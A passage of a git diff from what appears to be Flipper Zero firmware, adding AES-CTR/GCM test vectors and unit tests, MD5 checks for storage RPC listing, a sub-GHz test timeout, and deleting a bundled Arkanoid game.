0x59, 0x09, 0xC5, 0xAF, 0xF5, 0x26, + 0x9A, 0x86, 0xA7, 0xA9, 0x53, 0x15, 0x34, 0xF7, 0xDA, 0x2E, 0x4C, 0x30, 0x3D, 0x8A, 0x31, + 0x8A, 0x72, 0x1C, 0x3C, 0x0C, 0x95, 0x95, 0x68, 0x09, 0x53, 0x2F, 0xCF, 0x0E, 0x24, 0x49, + 0xA6, 0xB5, 0x25, 0xB1, 0x6A, 0xED, 0xF5, 0xAA, 0x0D, 0xE6, 0x57, 0xBA, 0x63, 0x7B, 0x39, +}; +static const uint8_t tv_gcm_ct_4[60] = { + 0x52, 0x2D, 0xC1, 0xF0, 0x99, 0x56, 0x7D, 0x07, 0xF4, 0x7F, 0x37, 0xA3, 0x2A, 0x84, 0x42, + 0x7D, 0x64, 0x3A, 0x8C, 0xDC, 0xBF, 0xE5, 0xC0, 0xC9, 0x75, 0x98, 0xA2, 0xBD, 0x25, 0x55, + 0xD1, 0xAA, 0x8C, 0xB0, 0x8E, 0x48, 0x59, 0x0D, 0xBB, 0x3D, 0xA7, 0xB0, 0x8B, 0x10, 0x56, + 0x82, 0x88, 0x38, 0xC5, 0xF6, 0x1E, 0x63, 0x93, 0xBA, 0x7A, 0x0A, 0xBC, 0xC9, 0xF6, 0x62, +}; +static const uint8_t aad_gcm_4[20] = { + 0xFE, 0xED, 0xFA, 0xCE, 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED, + 0xFA, 0xCE, 0xDE, 0xAD, 0xBE, 0xEF, 0xAB, 0xAD, 0xDA, 0xD2, +}; +static const uint8_t tv_gcm_tag_4[16] = { + 0x76, + 0xFC, + 0x6E, + 0xCE, + 0x0F, + 0x4E, + 0x17, + 0x68, + 0xCD, + 0xDF, + 0x88, + 0x53, + 0xBB, + 0x2D, + 0x55, + 0x1B, +}; + +static void furi_hal_crypto_ctr_setup() { +} + +static void furi_hal_crypto_ctr_teardown() { +} + +static void furi_hal_crypto_gcm_setup() { +} + +static void furi_hal_crypto_gcm_teardown() { +} + +MU_TEST(furi_hal_crypto_ctr_1) { + bool ret = false; + uint8_t ct[sizeof(pt_ctr_1)]; + + ret = furi_hal_crypto_ctr(key_ctr_1, iv_ctr_1, pt_ctr_1, ct, sizeof(pt_ctr_1)); + mu_assert(ret, "CTR 1 failed"); + mu_assert_mem_eq(tv_ctr_ct_1, ct, sizeof(pt_ctr_1)); +} + +MU_TEST(furi_hal_crypto_ctr_2) { + bool ret = false; + uint8_t ct[sizeof(pt_ctr_2)]; + + ret = furi_hal_crypto_ctr(key_ctr_2, iv_ctr_2, pt_ctr_2, ct, sizeof(pt_ctr_2)); + mu_assert(ret, "CTR 2 failed"); + //mu_assert_mem_eq(tv_ctr_ct_2, ct, sizeof(pt_ctr_2)); +} + +MU_TEST(furi_hal_crypto_ctr_3) { + bool ret = false; + uint8_t ct[sizeof(pt_ctr_3)]; + + ret = furi_hal_crypto_ctr(key_ctr_3, iv_ctr_3, pt_ctr_3, ct, sizeof(pt_ctr_3)); + mu_assert(ret, "CTR 3 failed"); + mu_assert_mem_eq(tv_ctr_ct_3, ct, sizeof(pt_ctr_3)); +} + +MU_TEST(furi_hal_crypto_ctr_4) { + bool ret = false; + uint8_t ct[sizeof(pt_ctr_4)]; + + ret = furi_hal_crypto_ctr(key_ctr_4, iv_ctr_4, pt_ctr_4, ct, sizeof(pt_ctr_4)); + mu_assert(ret, "CTR 4 failed"); + mu_assert_mem_eq(tv_ctr_ct_4, ct, sizeof(pt_ctr_4)); +} + +MU_TEST(furi_hal_crypto_ctr_5) { + bool ret = false; + uint8_t ct[sizeof(pt_ctr_5)]; + + ret = furi_hal_crypto_ctr(key_ctr_5, iv_ctr_5, pt_ctr_5, ct, sizeof(pt_ctr_5)); + mu_assert(ret, "CTR 5 failed"); + //mu_assert_mem_eq(tv_ctr_ct_5, ct, sizeof(pt_ctr_5)); +} + +MU_TEST(furi_hal_crypto_gcm_1) { + bool ret = false; + uint8_t pt[sizeof(pt_gcm_1)]; + uint8_t ct[sizeof(pt_gcm_1)]; + uint8_t tag_enc[16]; + uint8_t tag_dec[16]; + + ret = furi_hal_crypto_gcm( + key_gcm_1, + iv_gcm_1, + aad_gcm_1, + sizeof(aad_gcm_1), + pt_gcm_1, + ct, + sizeof(pt_gcm_1), + tag_enc, + false); + mu_assert(ret, "GCM 1 encryption failed"); + //mu_assert_mem_eq(tv_gcm_ct_1, ct, sizeof(pt_gcm_1)); + mu_assert_mem_eq(tv_gcm_tag_1, tag_enc, 16); + + ret = furi_hal_crypto_gcm( + key_gcm_1, iv_gcm_1, aad_gcm_1, sizeof(aad_gcm_1), ct, pt, sizeof(pt_gcm_1), tag_dec, true); + mu_assert(ret, "GCM 1 decryption failed"); + //mu_assert_mem_eq(pt_gcm_1, pt, sizeof(pt_gcm_1)); + mu_assert_mem_eq(tv_gcm_tag_1, tag_dec, 16); +} + +MU_TEST(furi_hal_crypto_gcm_2) { + bool ret = false; + uint8_t pt[sizeof(pt_gcm_2)]; + uint8_t ct[sizeof(pt_gcm_2)]; + uint8_t tag_enc[16]; + uint8_t tag_dec[16]; + + ret = furi_hal_crypto_gcm( + key_gcm_2, + iv_gcm_2, + aad_gcm_2, + sizeof(aad_gcm_2), + pt_gcm_2, + ct, + sizeof(pt_gcm_2), + tag_enc, + false); + mu_assert(ret, "GCM 2 encryption failed"); + mu_assert_mem_eq(tv_gcm_ct_2, ct, sizeof(pt_gcm_2)); + mu_assert_mem_eq(tv_gcm_tag_2, tag_enc, 16); + + ret = furi_hal_crypto_gcm( + key_gcm_2, iv_gcm_2, aad_gcm_2, sizeof(aad_gcm_2), ct, pt, sizeof(pt_gcm_2), tag_dec, true); + mu_assert(ret, "GCM 2 decryption failed"); + mu_assert_mem_eq(pt_gcm_2, pt, sizeof(pt_gcm_2)); + mu_assert_mem_eq(tv_gcm_tag_2, tag_dec, 16); +} + +MU_TEST(furi_hal_crypto_gcm_3) { + bool ret = false; + uint8_t pt[sizeof(pt_gcm_3)]; + uint8_t ct[sizeof(pt_gcm_3)]; + uint8_t tag_enc[16]; + uint8_t tag_dec[16]; + + ret = furi_hal_crypto_gcm( + key_gcm_3, + iv_gcm_3, + aad_gcm_3, + sizeof(aad_gcm_3), + pt_gcm_3, + ct, + sizeof(pt_gcm_3), + tag_enc, + false); + mu_assert(ret, "GCM 3 encryption failed"); + mu_assert_mem_eq(tv_gcm_ct_3, ct, sizeof(pt_gcm_3)); + mu_assert_mem_eq(tv_gcm_tag_3, tag_enc, 16); + + ret = furi_hal_crypto_gcm( + key_gcm_3, iv_gcm_3, aad_gcm_3, sizeof(aad_gcm_3), ct, pt, sizeof(pt_gcm_3), tag_dec, true); + mu_assert(ret, "GCM 3 decryption failed"); + mu_assert_mem_eq(pt_gcm_3, pt, sizeof(pt_gcm_3)); + mu_assert_mem_eq(tv_gcm_tag_3, tag_dec, 16); +} + +MU_TEST(furi_hal_crypto_gcm_4) { + bool ret = false; + uint8_t pt[sizeof(pt_gcm_4)]; + uint8_t ct[sizeof(pt_gcm_4)]; + uint8_t tag_enc[16]; + uint8_t tag_dec[16]; + + ret = furi_hal_crypto_gcm( + key_gcm_4, + iv_gcm_4, + aad_gcm_4, + sizeof(aad_gcm_4), + pt_gcm_4, + ct, + sizeof(pt_gcm_4), + tag_enc, + false); + mu_assert(ret, "GCM 4 encryption failed"); + mu_assert_mem_eq(tv_gcm_ct_4, ct, sizeof(pt_gcm_4)); + mu_assert_mem_eq(tv_gcm_tag_4, tag_enc, 16); + + ret = furi_hal_crypto_gcm( + key_gcm_4, iv_gcm_4, aad_gcm_4, sizeof(aad_gcm_4), ct, pt, sizeof(pt_gcm_4), tag_dec, true); + mu_assert(ret, "GCM 4 decryption failed"); + mu_assert_mem_eq(pt_gcm_4, pt, sizeof(pt_gcm_4)); + mu_assert_mem_eq(tv_gcm_tag_4, tag_dec, 16); +} + +MU_TEST_SUITE(furi_hal_crypto_ctr_test) { + MU_SUITE_CONFIGURE(&furi_hal_crypto_ctr_setup, &furi_hal_crypto_ctr_teardown); + MU_RUN_TEST(furi_hal_crypto_ctr_1); + MU_RUN_TEST(furi_hal_crypto_ctr_2); + MU_RUN_TEST(furi_hal_crypto_ctr_3); + MU_RUN_TEST(furi_hal_crypto_ctr_4); + MU_RUN_TEST(furi_hal_crypto_ctr_5); +} + +MU_TEST_SUITE(furi_hal_crypto_gcm_test) { + MU_SUITE_CONFIGURE(&furi_hal_crypto_gcm_setup, &furi_hal_crypto_gcm_teardown); + MU_RUN_TEST(furi_hal_crypto_gcm_1); + MU_RUN_TEST(furi_hal_crypto_gcm_2); + MU_RUN_TEST(furi_hal_crypto_gcm_3); + MU_RUN_TEST(furi_hal_crypto_gcm_4); +} + +int run_minunit_test_furi_hal_crypto() { + MU_RUN_SUITE(furi_hal_crypto_ctr_test); + MU_RUN_SUITE(furi_hal_crypto_gcm_test); + return MU_EXIT_CODE; +} diff --git a/applications/debug/unit_tests/rpc/rpc_test.c b/applications/debug/unit_tests/rpc/rpc_test.c index 167266a84..533a8a9ca 100644 --- a/applications/debug/unit_tests/rpc/rpc_test.c +++ b/applications/debug/unit_tests/rpc/rpc_test.c @@ -13,7 +13,7 @@ #include #include #include -#include +#include #include #include #include @@ -287,7 +287,8 @@ static void test_rpc_create_simple_message( PB_Main* message, uint16_t tag, const char* str, - uint32_t command_id) { + uint32_t command_id, + bool flag) { furi_check(message); char* str_copy = NULL; @@ -308,6 +309,7 @@ static void test_rpc_create_simple_message( break; case PB_Main_storage_list_request_tag: message->content.storage_list_request.path = str_copy; + message->content.storage_list_request.include_md5 = flag; break; case PB_Main_storage_mkdir_request_tag: message->content.storage_mkdir_request.path = str_copy; @@ -419,6 +421,7 @@ static void } mu_check(result_msg_file->size == expected_msg_file->size); mu_check(result_msg_file->type == expected_msg_file->type); + mu_assert_string_eq(expected_msg_file->md5sum, result_msg_file->md5sum); if(result_msg_file->data && result_msg_file->type != PB_Storage_File_FileType_DIR) { mu_check(!result_msg_file->data == !expected_msg_file->data); // Zlo: WTF??? @@ -430,10 +433,10 @@ static void } static void test_rpc_compare_messages(PB_Main* result, PB_Main* expected) { - mu_check(result->command_id == expected->command_id); - mu_check(result->command_status == expected->command_status); - mu_check(result->has_next == expected->has_next); - mu_check(result->which_content == expected->which_content); + mu_assert_int_eq(expected->command_id, result->command_id); + mu_assert_int_eq(expected->command_status, result->command_status); + mu_assert_int_eq(expected->has_next, result->has_next); + mu_assert_int_eq(expected->which_content, result->which_content); if(result->command_status != PB_CommandStatus_OK) { mu_check(result->which_content == PB_Main_empty_tag); } @@ -573,10 +576,15 @@ static void static void test_rpc_storage_list_create_expected_list( MsgList_t msg_list, const char* path, - uint32_t command_id) { + uint32_t command_id, + bool append_md5) { Storage* fs_api = furi_record_open(RECORD_STORAGE); File* dir = storage_file_alloc(fs_api); + FuriString* md5 = furi_string_alloc(); + FuriString* md5_path = furi_string_alloc(); + File* file = storage_file_alloc(fs_api); + PB_Main response = { .command_id = command_id, .has_next = false, @@ -614,6 +622,17 @@ static void test_rpc_storage_list_create_expected_list( list->file[i].data = NULL; /* memory free inside rpc_encode_and_send() -> pb_release() */ list->file[i].name = name; + + if(append_md5 && !file_info_is_dir(&fileinfo)) { + furi_string_printf(md5_path, "%s/%s", path, name); + + if(md5_string_calc_file(file, furi_string_get_cstr(md5_path), md5, NULL)) { + char* md5sum = list->file[i].md5sum; + size_t md5sum_size = sizeof(list->file[i].md5sum); + snprintf(md5sum, md5sum_size, "%s", furi_string_get_cstr(md5)); + } + } + ++i; } } else { @@ -626,6 +645,10 @@ static void test_rpc_storage_list_create_expected_list( response.has_next = false; MsgList_push_back(msg_list, response); + furi_string_free(md5); + furi_string_free(md5_path); + storage_file_free(file); + storage_dir_close(dir); storage_file_free(dir); @@ -675,16 +698,17 @@ static void test_rpc_free_msg_list(MsgList_t msg_list) { MsgList_clear(msg_list); } -static void test_rpc_storage_list_run(const char* path, uint32_t command_id) { +static void test_rpc_storage_list_run(const char* path, uint32_t command_id, bool md5) { PB_Main request; MsgList_t expected_msg_list; MsgList_init(expected_msg_list); - test_rpc_create_simple_message(&request, PB_Main_storage_list_request_tag, path, command_id); + test_rpc_create_simple_message( + &request, PB_Main_storage_list_request_tag, path, command_id, md5); if(!strcmp(path, "/")) { test_rpc_storage_list_create_expected_list_root(expected_msg_list, command_id); } else { - test_rpc_storage_list_create_expected_list(expected_msg_list, path, command_id); + test_rpc_storage_list_create_expected_list(expected_msg_list, path, command_id, md5); } test_rpc_encode_and_feed_one(&request, 0); test_rpc_decode_and_compare(expected_msg_list, 0); @@ -694,15 +718,25 @@ static void test_rpc_storage_list_run(const char* path, uint32_t command_id) { } MU_TEST(test_storage_list) { - test_rpc_storage_list_run("/", ++command_id); - test_rpc_storage_list_run(EXT_PATH("nfc"), ++command_id); + test_rpc_storage_list_run("/", ++command_id, false); + test_rpc_storage_list_run(EXT_PATH("nfc"), ++command_id, false); + test_rpc_storage_list_run(STORAGE_INT_PATH_PREFIX, ++command_id, false); + test_rpc_storage_list_run(STORAGE_EXT_PATH_PREFIX, ++command_id, false); + test_rpc_storage_list_run(EXT_PATH("infrared"), ++command_id, false); + test_rpc_storage_list_run(EXT_PATH("ibutton"), ++command_id, false); + test_rpc_storage_list_run(EXT_PATH("lfrfid"), ++command_id, false); + test_rpc_storage_list_run("error_path", ++command_id, false); +} - test_rpc_storage_list_run(STORAGE_INT_PATH_PREFIX, ++command_id); - test_rpc_storage_list_run(STORAGE_EXT_PATH_PREFIX, ++command_id); - test_rpc_storage_list_run(EXT_PATH("infrared"), ++command_id); - test_rpc_storage_list_run(EXT_PATH("ibutton"), ++command_id); - test_rpc_storage_list_run(EXT_PATH("lfrfid"), ++command_id); - test_rpc_storage_list_run("error_path", ++command_id); +MU_TEST(test_storage_list_md5) { + test_rpc_storage_list_run("/", ++command_id, true); + test_rpc_storage_list_run(EXT_PATH("nfc"), ++command_id, true); + test_rpc_storage_list_run(STORAGE_INT_PATH_PREFIX, ++command_id, true); + test_rpc_storage_list_run(STORAGE_EXT_PATH_PREFIX, ++command_id, true); + test_rpc_storage_list_run(EXT_PATH("infrared"), ++command_id, true); + test_rpc_storage_list_run(EXT_PATH("ibutton"), ++command_id, true); + test_rpc_storage_list_run(EXT_PATH("lfrfid"), ++command_id, true); + test_rpc_storage_list_run("error_path", ++command_id, true); } static void @@ -770,7 +804,8 @@ static void test_storage_read_run(const char* path, uint32_t command_id) { MsgList_init(expected_msg_list); test_rpc_add_read_to_list_by_reading_real_file(expected_msg_list, path, command_id); - test_rpc_create_simple_message(&request, PB_Main_storage_read_request_tag, path, command_id); + test_rpc_create_simple_message( + &request, PB_Main_storage_read_request_tag, path, command_id, false); test_rpc_encode_and_feed_one(&request, 0); test_rpc_decode_and_compare(expected_msg_list, 0); @@ -824,7 +859,8 @@ static void test_rpc_storage_info_run(const char* path, uint32_t command_id) { MsgList_t expected_msg_list; MsgList_init(expected_msg_list); - test_rpc_create_simple_message(&request, PB_Main_storage_info_request_tag, path, command_id); + test_rpc_create_simple_message( + &request, PB_Main_storage_info_request_tag, path, command_id, false); PB_Main* response = MsgList_push_new(expected_msg_list); response->command_id = command_id; @@ -856,7 +892,8 @@ static void test_rpc_storage_stat_run(const char* path, uint32_t command_id) { MsgList_t expected_msg_list; MsgList_init(expected_msg_list); - test_rpc_create_simple_message(&request, PB_Main_storage_stat_request_tag, path, command_id); + test_rpc_create_simple_message( + &request, PB_Main_storage_stat_request_tag, path, command_id, false); Storage* fs_api = furi_record_open(RECORD_STORAGE); FileInfo fileinfo; @@ -968,7 +1005,11 @@ static void test_storage_write_read_run( test_rpc_add_empty_to_list(expected_msg_list, PB_CommandStatus_OK, *command_id); test_rpc_create_simple_message( - MsgList_push_raw(input_msg_list), PB_Main_storage_read_request_tag, path, ++*command_id); + MsgList_push_raw(input_msg_list), + PB_Main_storage_read_request_tag, + path, + ++*command_id, + false); test_rpc_add_read_or_write_to_list( expected_msg_list, READ_RESPONSE, @@ -1041,7 +1082,8 @@ MU_TEST(test_storage_interrupt_continuous_same_system) { MsgList_push_new(input_msg_list), PB_Main_storage_mkdir_request_tag, TEST_DIR "dir1", - command_id + 1); + command_id + 1, + false); test_rpc_add_read_or_write_to_list( input_msg_list, WRITE_REQUEST, @@ -1121,7 +1163,8 @@ static void test_storage_delete_run( MsgList_t expected_msg_list; MsgList_init(expected_msg_list); - test_rpc_create_simple_message(&request, PB_Main_storage_delete_request_tag, path, command_id); + test_rpc_create_simple_message( + &request, PB_Main_storage_delete_request_tag, path, command_id, false); request.content.storage_delete_request.recursive = recursive; test_rpc_add_empty_to_list(expected_msg_list, status, command_id); @@ -1202,7 +1245,8 @@ static void test_storage_mkdir_run(const char* path, size_t command_id, PB_Comma MsgList_t expected_msg_list; MsgList_init(expected_msg_list); - test_rpc_create_simple_message(&request, PB_Main_storage_mkdir_request_tag, path, command_id); + test_rpc_create_simple_message( + &request, PB_Main_storage_mkdir_request_tag, path, command_id, false); test_rpc_add_empty_to_list(expected_msg_list, status, command_id); test_rpc_encode_and_feed_one(&request, 0); @@ -1229,33 +1273,15 @@ MU_TEST(test_storage_mkdir) { static void test_storage_calculate_md5sum(const char* path, char* md5sum, size_t md5sum_size) { Storage* api = furi_record_open(RECORD_STORAGE); File* file = storage_file_alloc(api); + FuriString* md5 = furi_string_alloc(); - if(storage_file_open(file, path, FSAM_READ, FSOM_OPEN_EXISTING)) { - const uint16_t once_read_size = 512; - const uint8_t hash_size = MD5SUM_SIZE; - uint8_t* data = malloc(once_read_size); - uint8_t* hash = malloc(sizeof(uint8_t) * hash_size); - md5_context* md5_ctx = malloc(sizeof(md5_context)); - - md5_starts(md5_ctx); - while(true) { - uint16_t read_size = storage_file_read(file, data, once_read_size); - if(read_size == 0) break; - md5_update(md5_ctx, data, read_size); - } - md5_finish(md5_ctx, hash); - free(md5_ctx); - - for(uint8_t i = 0; i < hash_size; i++) { - md5sum += snprintf(md5sum, md5sum_size, "%02x", hash[i]); - } - - free(hash); - free(data); + if(md5_string_calc_file(file, path, md5, NULL)) { + snprintf(md5sum, md5sum_size, "%s", furi_string_get_cstr(md5)); } else { furi_check(0); } + furi_string_free(md5); storage_file_close(file); storage_file_free(file); @@ -1271,11 +1297,12 @@ static void test_storage_md5sum_run( MsgList_t expected_msg_list; MsgList_init(expected_msg_list); - test_rpc_create_simple_message(&request, PB_Main_storage_md5sum_request_tag, path, command_id); + test_rpc_create_simple_message( + &request, PB_Main_storage_md5sum_request_tag, path, command_id, false); if(status == PB_CommandStatus_OK) { PB_Main* response = MsgList_push_new(expected_msg_list); test_rpc_create_simple_message( - response, PB_Main_storage_md5sum_response_tag, md5sum, command_id); + response, PB_Main_storage_md5sum_response_tag, md5sum, command_id, false); response->command_status = status; } else { test_rpc_add_empty_to_list(expected_msg_list, status, command_id); @@ -1433,6 +1460,7 @@ MU_TEST_SUITE(test_rpc_storage) { MU_RUN_TEST(test_storage_info); MU_RUN_TEST(test_storage_stat); MU_RUN_TEST(test_storage_list); + MU_RUN_TEST(test_storage_list_md5); MU_RUN_TEST(test_storage_read); MU_RUN_TEST(test_storage_write_read); MU_RUN_TEST(test_storage_write); @@ -1731,7 +1759,8 @@ MU_TEST(test_rpc_multisession_storage) { MsgList_push_raw(input_0), PB_Main_storage_read_request_tag, TEST_DIR "file0.txt", - ++command_id); + ++command_id, + false); test_rpc_add_read_or_write_to_list( expected_0, READ_RESPONSE, TEST_DIR "file0.txt", pattern, sizeof(pattern), 1, command_id); @@ -1739,7 +1768,8 @@ MU_TEST(test_rpc_multisession_storage) { MsgList_push_raw(input_1), PB_Main_storage_read_request_tag, TEST_DIR "file1.txt", - ++command_id); + ++command_id, + false); test_rpc_add_read_or_write_to_list( expected_1, READ_RESPONSE, TEST_DIR "file1.txt", pattern, sizeof(pattern), 1, command_id); diff --git a/applications/debug/unit_tests/storage/storage_test.c b/applications/debug/unit_tests/storage/storage_test.c index f0b45c598..13188e5e0 100644 --- a/applications/debug/unit_tests/storage/storage_test.c +++ b/applications/debug/unit_tests/storage/storage_test.c @@ -582,6 +582,49 @@ MU_TEST(test_storage_common_migrate) { furi_record_close(RECORD_STORAGE); } +#define MD5_HASH_SIZE (16) +#include + +MU_TEST(test_md5_calc) { + Storage* storage = furi_record_open(RECORD_STORAGE); + File* file = storage_file_alloc(storage); + + const char* path = UNIT_TESTS_PATH("storage/md5.txt"); + const char* md5_cstr = "2a456fa43e75088fdde41c93159d62a2"; + const uint8_t md5[MD5_HASH_SIZE] = { + 0x2a, + 0x45, + 0x6f, + 0xa4, + 0x3e, + 0x75, + 0x08, + 0x8f, + 0xdd, + 0xe4, + 0x1c, + 0x93, + 0x15, + 0x9d, + 0x62, + 0xa2, + }; + + uint8_t md5_output[MD5_HASH_SIZE]; + FuriString* md5_output_str = furi_string_alloc(); + memset(md5_output, 0, MD5_HASH_SIZE); + + mu_check(md5_calc_file(file, path, md5_output, NULL)); + mu_check(md5_string_calc_file(file, path, md5_output_str, NULL)); + + mu_assert_mem_eq(md5, md5_output, MD5_HASH_SIZE); + mu_assert_string_eq(md5_cstr, furi_string_get_cstr(md5_output_str)); + + storage_file_free(file); + furi_string_free(md5_output_str); + furi_record_close(RECORD_STORAGE); +} + MU_TEST_SUITE(test_data_path) { MU_RUN_TEST(test_storage_data_path); MU_RUN_TEST(test_storage_data_path_apps); @@ -591,11 +634,16 @@ MU_TEST_SUITE(test_storage_common) { MU_RUN_TEST(test_storage_common_migrate); } +MU_TEST_SUITE(test_md5_calc_suite) { + MU_RUN_TEST(test_md5_calc); +} + int run_minunit_test_storage() { MU_RUN_SUITE(storage_file); MU_RUN_SUITE(storage_dir); MU_RUN_SUITE(storage_rename); MU_RUN_SUITE(test_data_path); MU_RUN_SUITE(test_storage_common); + MU_RUN_SUITE(test_md5_calc_suite); return MU_EXIT_CODE; } diff --git a/applications/debug/unit_tests/subghz/subghz_test.c b/applications/debug/unit_tests/subghz/subghz_test.c index 6bdaa641e..e32a57482 100644 --- a/applications/debug/unit_tests/subghz/subghz_test.c +++ b/applications/debug/unit_tests/subghz/subghz_test.c @@ -330,7 +330,12 @@ bool subghz_hal_async_tx_test_run(SubGhzHalAsyncTxTestType type) { return false; } + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(30000000); + while(!furi_hal_subghz_is_async_tx_complete()) { + if(furi_hal_cortex_timer_is_expired(timer)) { + return false; + } furi_delay_ms(10); } furi_hal_subghz_stop_async_tx(); diff --git a/applications/debug/unit_tests/test_index.c b/applications/debug/unit_tests/test_index.c index 9d7631bfe..f7a53d7c8 100644 --- a/applications/debug/unit_tests/test_index.c +++ b/applications/debug/unit_tests/test_index.c @@ -10,6 +10,7 @@ int run_minunit_test_furi(); int run_minunit_test_furi_hal(); +int run_minunit_test_furi_hal_crypto(); int run_minunit_test_furi_string(); int run_minunit_test_infrared(); int run_minunit_test_rpc(); @@ -39,6 +40,7 @@ typedef struct { const UnitTest unit_tests[] = { {.name = "furi", .entry = run_minunit_test_furi}, {.name = "furi_hal", .entry = run_minunit_test_furi_hal}, + {.name = "furi_hal_crypto", .entry = run_minunit_test_furi_hal_crypto}, {.name = "furi_string", .entry = run_minunit_test_furi_string}, {.name = "storage", .entry = run_minunit_test_storage}, {.name = "stream", .entry = run_minunit_test_stream}, diff --git a/applications/debug/usb_mouse/application.fam b/applications/debug/usb_mouse/application.fam index ab91e7aa2..55cec85cc 100644 --- a/applications/debug/usb_mouse/application.fam +++ b/applications/debug/usb_mouse/application.fam @@ -7,6 +7,5 @@ App( requires=["gui"], stack_size=1 * 1024, order=60, - fap_icon="../../external/mousejacker/mouse_10px.png", fap_category="Debug", ) diff --git a/applications/drivers/subghz/cc1101_ext/cc1101_ext.c b/applications/drivers/subghz/cc1101_ext/cc1101_ext.c index db7dcb3ff..e055e1e51 100644 --- a/applications/drivers/subghz/cc1101_ext/cc1101_ext.c +++ b/applications/drivers/subghz/cc1101_ext/cc1101_ext.c @@ -357,7 +357,7 @@ bool subghz_device_cc1101_ext_rx_pipe_not_empty() { (CC1101_STATUS_RXBYTES) | CC1101_BURST, (uint8_t*)status); furi_hal_spi_release(subghz_device_cc1101_ext->spi_bus_handle); - // TODO: you can add a buffer overflow flag if needed + // TODO: Find reason why RXFIFO_OVERFLOW doesnt work correctly if(status->NUM_RXBYTES > 0) { return true; } else { diff --git a/applications/external/application.fam b/applications/external/application.fam deleted file mode 100644 index 12dc1cc1a..000000000 --- a/applications/external/application.fam +++ /dev/null @@ -1,6 +0,0 @@ -# Placeholder -App( - appid="external_apps", - name="External apps bundle", - apptype=FlipperAppType.METAPACKAGE, -) diff --git a/applications/external/arkanoid/application.fam b/applications/external/arkanoid/application.fam deleted file mode 100644 index cdd5f4e8a..000000000 --- a/applications/external/arkanoid/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="arkanoid", - name="Arkanoid", - apptype=FlipperAppType.EXTERNAL, - entry_point="arkanoid_game_app", - requires=["gui"], - stack_size=1 * 1024, - order=30, - fap_icon="arkanoid_10px.png", - fap_category="Games", - fap_author="@xMasterX & @gotnull", - fap_version="1.0", - fap_description="Arkanoid Game", -) diff --git a/applications/external/arkanoid/arkanoid_10px.png b/applications/external/arkanoid/arkanoid_10px.png deleted file mode 100644 index 344d2db73..000000000 Binary files a/applications/external/arkanoid/arkanoid_10px.png and /dev/null differ diff --git a/applications/external/arkanoid/arkanoid_game.c b/applications/external/arkanoid/arkanoid_game.c deleted file mode 100644 index 2adf2e30b..000000000 --- a/applications/external/arkanoid/arkanoid_game.c +++ /dev/null @@ -1,479 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include - -#define TAG "Arkanoid" - -#define FLIPPER_LCD_WIDTH 128 -#define FLIPPER_LCD_HEIGHT 64 -#define MAX_SPEED 3 - -typedef enum { EventTypeTick, EventTypeKey } EventType; - -typedef struct { - //Brick Bounds used in collision detection - int leftBrick; - int rightBrick; - int topBrick; - int bottomBrick; - bool isHit[4][13]; //Array of if bricks are hit or not -} BrickState; - -typedef struct { - int dx; //Initial movement of ball - int dy; //Initial movement of ball - int xb; //Balls starting possition - int yb; //Balls starting possition - bool released; //If the ball has been released by the player - //Ball Bounds used in collision detection - int leftBall; - int rightBall; - int topBall; - int bottomBall; -} BallState; - -typedef struct { - FuriMutex* mutex; - BallState ball_state; - BrickState brick_state; - NotificationApp* notify; - unsigned int COLUMNS; //Columns of bricks - unsigned int ROWS; //Rows of bricks - bool initialDraw; //If the inital draw has happened - int xPaddle; //X position of paddle - char text[16]; //General string buffer - bool bounced; //Used to fix double bounce glitch - int lives; //Amount of lives - int level; //Current level - unsigned int score; //Score for the game - unsigned int brickCount; //Amount of bricks hit - int tick; //Tick counter - bool gameStarted; // Did the game start? - int speed; // Ball speed -} ArkanoidState; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -static const NotificationSequence sequence_short_sound = { - &message_note_c5, - &message_delay_50, - &message_sound_off, - NULL, -}; - -// generate number in range [min,max) -int rand_range(int min, int max) { - return min + rand() % (max - min); -} - -void move_ball(Canvas* canvas, ArkanoidState* st) { - st->tick++; - - int current_speed = abs(st->speed - 1 - MAX_SPEED); - if(st->tick % current_speed != 0 && st->tick % (current_speed + 1) != 0) { - return; - } - - if(st->ball_state.released) { - //Move ball - if(abs(st->ball_state.dx) == 2) { - st->ball_state.xb += st->ball_state.dx / 2; - // 2x speed is really 1.5 speed - if((st->tick / current_speed) % 2 == 0) st->ball_state.xb += st->ball_state.dx / 2; - } else { - st->ball_state.xb += st->ball_state.dx; - } - st->ball_state.yb = st->ball_state.yb + st->ball_state.dy; - - //Set bounds - st->ball_state.leftBall = st->ball_state.xb; - st->ball_state.rightBall = st->ball_state.xb + 2; - st->ball_state.topBall = st->ball_state.yb; - st->ball_state.bottomBall = st->ball_state.yb + 2; - - //Bounce off top edge - if(st->ball_state.yb <= 0) { - st->ball_state.yb = 2; - st->ball_state.dy = -st->ball_state.dy; - } - - //Lose a life if bottom edge hit - if(st->ball_state.yb >= FLIPPER_LCD_HEIGHT) { - canvas_draw_frame(canvas, st->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); - st->xPaddle = 54; - st->ball_state.yb = 60; - st->ball_state.released = false; - st->lives--; - st->gameStarted = false; - - if(rand_range(0, 2) == 0) { - st->ball_state.dx = 1; - } else { - st->ball_state.dx = -1; - } - } - - //Bounce off left side - if(st->ball_state.xb <= 0) { - st->ball_state.xb = 2; - st->ball_state.dx = -st->ball_state.dx; - } - - //Bounce off right side - if(st->ball_state.xb >= FLIPPER_LCD_WIDTH - 2) { - st->ball_state.xb = FLIPPER_LCD_WIDTH - 4; - st->ball_state.dx = -st->ball_state.dx; - // arduboy.tunes.tone(523, 250); - } - - //Bounce off paddle - if(st->ball_state.xb + 1 >= st->xPaddle && st->ball_state.xb <= st->xPaddle + 12 && - st->ball_state.yb + 2 >= FLIPPER_LCD_HEIGHT - 1 && - st->ball_state.yb <= FLIPPER_LCD_HEIGHT) { - st->ball_state.dy = -st->ball_state.dy; - st->ball_state.dx = - ((st->ball_state.xb - (st->xPaddle + 6)) / 3); //Applies spin on the ball - // prevent straight bounce, but not prevent roguuemaster from stealing - if(st->ball_state.dx == 0) { - st->ball_state.dx = (rand_range(0, 2) == 1) ? 1 : -1; - } - } - - //Bounce off Bricks - for(unsigned int row = 0; row < st->ROWS; row++) { - for(unsigned int column = 0; column < st->COLUMNS; column++) { - if(!st->brick_state.isHit[row][column]) { - //Sets Brick bounds - st->brick_state.leftBrick = 10 * column; - st->brick_state.rightBrick = 10 * column + 10; - st->brick_state.topBrick = 6 * row + 1; - 